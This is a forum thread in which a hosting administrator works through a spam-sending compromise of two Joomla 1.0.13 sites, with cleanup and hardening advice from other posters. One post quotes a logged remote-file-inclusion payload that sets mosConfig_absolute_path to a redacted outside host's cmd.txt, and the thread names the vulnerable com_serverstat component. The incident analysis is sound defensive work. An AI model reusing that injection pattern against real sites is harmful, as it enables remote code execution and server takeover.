Joomla! Discussion Forums

Background: I'm a host admin, not a site admin. One of my users has a Joomla installation (1.0.13 I believe - how do I check?) which has been exploited to send spam. Symptoms were just a general slowdown which lead me to find a massive mail queue (this server doesn't usually send any mail).

The culprit seems to be a c99shell exploit located in ~/media, coupled with a script which appears to grab email addresses from the MySQL database and uses them (the code looks like they're used as the recipients of a Halifax bank phishing scam*, but given the volume of mail in the mail queue it is clear that  lot of other addresses were spammed too).

[*] It looks like the Halifax bank phishing scam itself was also uploaded under ~/media, ie the spam sent out would have directed users to a Halifax bank look-a-like page on my server to collect user details and forward them.

So far I have removed the uploaded files (after backing them up of-course), and removed write permissions across the whole Joomla installation until I understand where the exploit is and have fixed it (or got the user to fix it). Since I am not particularly familiar with Joomla I need some help there.

Also, I guess as a matter of urgency, I need to know whether what I have done so far is enough to avoid further problems (albeit stopping the site functioning properly until I can restore write permissions).

Update:

Also now found some more changed files:

$ find . -mtime -3
./media
./media/errors.php
./images
./images/adminguidebook
./images/adminguidebook/bot.html
./images/adminguidebook/conf.php
./images/adminguidebook/bot.php
./images/zubby.php
./components
./components/com_user
./components/com_user/link.php
./components/com_user/cron.php
./configuration.php


The only change I can find in configuration.php is the addition of two iframes at the foot of the file, presumably these invisibly notify the hacker that there's a site to play with.

Please review the following FAQ's ASAP, you will find a wealth of information related to your issues.

  Security & Performance FAQ

It is not recommended to leav your sites publicly available and exploited, as it will only serve to promote the offenders ego and kudos and potentially expose the rest of the server to attack.

You may also find that along with this exploit, a CRONTAB task has been configured, pointing to a hidden directory that will re-generate the exloit even if it has been deleted.  Elevated pemrisisons, PHP register-globals being ON, Joomla! RG_EMULATION being ON, Vulnerable Joomla! Extensions and/or weak server configurations can lead to this kind of attack success.

"netstat -ae" may also assist in the case the exploit has left an IRC BOT on the site, look for ports 6666 and 6667, maybe others, check that any executable binaries (httpd etc) that are listed are running from the correct directory, as some try to further hide the exploit by using common application names, but running from non-standard directories.

The above mentioned FAQ will provide with more than enough information to assist you in further securing your sites.

Particular entries of note and to pay attention to, are;

  Joomla! Administrator's Security Checklist

  Help! My site's been compromised. Now what?

  Vulnerable Extension List

  Joomla! Tools Suite
  How can I check my Joomla! installation's overall security and health?

  What does Joomla! have to do with file permissions?

  spolitFinder
  Potential Exploit Finder Script

I did read a lot of those FAQs (well a mixture of reading and scanning); as I mentioned I'm the host admin not the site admin so I'm not really sure what mods are installed etc but most of the obvious stuff checks out ok. It looks to my Joomla-untrained eye as though someone has used a legitimate upload method, but used it to upload illegitimate content.



The sites were taken offline as soon as I found the problem. Since then I have removed (I believe) all the exploits, and chmod'd the site directories en-masse to remove upload functionality completely.

I have no reason to believe that the server itself has been breached; there are two Joomla sites both with similar exploits, but none of the other sites are affected and I can't find any other symptoms that suggest someone has gained access.

I have also changed the postfix configuration so that all mail gets dropped into the hold queue instead of being sent, and there's no indication at the moment that any mass emailing is currently taking place.

At the moment I have a lot of data to look at, and a lot of FAQs to work though, so getting to the bottom of this is going to take some time!



Checked crontab, that's OK. Permissions were only set writeable to the web server in the normal places (media/images/etc) and those were both taken advantage of, but nowhere else. (As mentioned, at the moment those write permissions are removed.)



Some things there worth investigation, thanks. (No IRC bots, though.)

Thanks for the help.

Regardless of Server, Site or Joomla! Site owner, the FAQ's cover basic security and good practices, always worth a thorough read.


As a host, you might also find the following scripts of use;

 
• Automated check for Joomla! & Mambo Versions script
  
   
• Automated Joomla! / Mambo Component/Module Version Checks
    This will tell you all the installed extensions and extra's
  
   
• Joomla! Tools Suite
    This comes in a standalone version that can be added to the compromised site to display and check a large amount of security and configuration information for the server and Joomla!

The fact that the directories were WebServer writeable could be where the compromise was generated, in conjunction with a Vulnerable installed Extension, there is a known Vulnerable Extensions List on the FAQ's site (and previous post) this can be compared with the output of the Componenet Script above.

Indeed they do! Problem here is too much information and too little time, not lack of information! Most of the advice that I've read so far is routine here anyway, and that would appear to have limited the hacks attempts to spread. Most of our sites do not have any apache-writable directories (and certainly none under docroot), but the Joomla sites are an exception (for which I do understand the reasons, although I would appreciate advice as to the feasibility of moving them outside docroot).



This does seem to have been the way in, and via a vulnerable component not on your list: com_serverstat (see http://www.securityfocus.com/bid/20018). The site has been live only a short while, and the attack came with a referal URL of a Google search for that component, so I'm confident that was the cause.

However, as I mentioned previously two sites were affected, and the other does not use that component. The site share a common user so in principle the script could have written across sites, but another (invisible to Google at the moment) site was not hit, nor were other sites also sharing the owner but non-Joomla. So there may have been two separate attacks.

After a lot of messing around, and removing lots of code that got uploaded, I finally spotted that RG_EMULATION was defaulting to 1, and that was allowing a trivial exploit.

Why is that defaulted to on? register_globals is off on all my sites, I hadn't realise d that Joomla was effectively turning it back on. My understanding is that the user has started from a fresh install not just upgraded old code (in which case I could perhaps understand it).

Yes, I know that was mentioned above, just not in terms that triggered any action to me as a site admin who has already got register_globals turned off (and I did double and treble check that).

Please don't take any of the above as criticism, I appreciate your help and Joomla is a great package from what I know of it. I just don't understand why Joomla was re-enabling register_globals when it was off. Clearly other core code assumes that it is off.

UPDATE: Can I just add that on further research the use of the words "trivial exploit" were probably unfair, as I've not managed to reproduce the problem on other sites with RG_EMULATION on from some quick tests. However the com_serverstat exploit continued to work after the module had been removed, and I've not been able to fathom out quite why yet.

Make sure the files are actually removed from the site, sometimes the uninstall from Joomla administrator doesn't delete the files.

I would agree that the register globals emulation in Joomla should definitely be in the Off state on install especially a fresh install as you've noted. Maybe that can be done even if the core team doesn't want to shut it off on site owners during an upgrade. Even though I think people should be forced to turn RG emulation On if they need it On. At least that way they will know it's there.

With the potential risk to a shared server environment maybe the On option shouldn't be there at all, this would force people to fix up there sites and extensions before they are hacked instead of after.

The old RG_EMULATION discussion has been long and very furious over the years...... 

ON by default, as the comments in the file suggest, for backward compatibility reasons, there used to be a large need for this facility as many extensions required the use of it or PHP register_globals to be on. Left on by default through upgrades so as not to break sites.  Only if the globals.php file was updated would the RG get reset back to default of On.

As of 1.0.13 this setting was added in the the configuration.php and can be changed from the Site Configuration > Servers Tab. Thus the setting in globals.php is ignored.

I did; the files were definitely gone, but the server access logs still showed requests via that plugin using the exploit (which were generating a 200 response and when I tested the exploit myself it was definitely still there). It only stopped when I plugged the RG_EMULATION hole.

Eg:


xx's used to protect the innocent/guilty (I suspect the URL linked back to another cracked site, it certainly didn't appear to be related to the IP addresses exploiting it).

I can absolutely 100% promise you that unless some clever trick to hide the file (even from root) had been employed, com_serverstat and install.serverstat.php did not exist - not only had they been deleted, the server had been rebooted to ensure that they weren't deleted but still open. With RG_EMULATION on, that request returned a 200 response and testing it confirmed that it resulted in a PHP shell exploit. With RG_EMULATION off (and no other changes) the same request meets a 404 error.

Maybe something is in the database to tell Joomla that com_serverstat still exists? I don't know where to look to be honest.



Backwards compatibility is all well and good, but I'm sure you guys are aware that it is Joomla that gets the bad reputation for security as a result of vulnerabilities which get exploited in 3rd party plugins, no matter how unfair that might be.

Anyway, I can see that this is one of those debates that's been had endlessly before, so I'll say no more on the subject!

I'll forward comments about the com_serverstat plugin to the 3rd party forum so it can be added to the list.

The 200 response is in respect to this part of the URL: mosConfig_absolute_path=http://xxxxxxxx.com/xxxxxxxx/cmd.txt?cmd=curl HTTP/1.1"

PHP register_globals and RG_EMULATION allow the $mosConfig_absolute_path variable to be set on the fly, I would suspect that this could have been almost any URL of an extension that is not installed.

I don't understand how that could be the case; surely my Apache logs are showing the response from the GET /component which is rewritten to (try to) load the component. As a result of a new value for mosConfig_absolute_path being injected, the "file" http://xxxxxxxx.com/xxxxxxxx/cmd.txt?cmd=curl is being included within PHP where the normal configure.php should have been, causing the file contents to be run within my site. The 200 response in respect to http://xxxxxxxx.com/xxxxxxxx/cmd.txt?cmd=curl would reside in the server logs on xxxxxxxx.com, surely?



This was my concern, but trying the same URL on a different Joomla site (on my server!) which never had the serverstat module installed but was otherwise very similar (and in particular had RG_EMULATION on) did not cause the exploit to be loaded (and indeed showed a 404 response in the logs for the same exploit URL).

So having that module installed is not necessary for the exploit, but not having it installed doesn't (in my case) enable it. All the exploit attempts in the logs explicitly referenced the serverstat module (often with Google as the referer, suggesting people were searching for sites with that component to exploit); that again suggests that a weakness in that component was required, but I still don't understand how it continued after the component was removed and the files verified not to be there any more.

Seeing similar activity, and I am very interested in more information.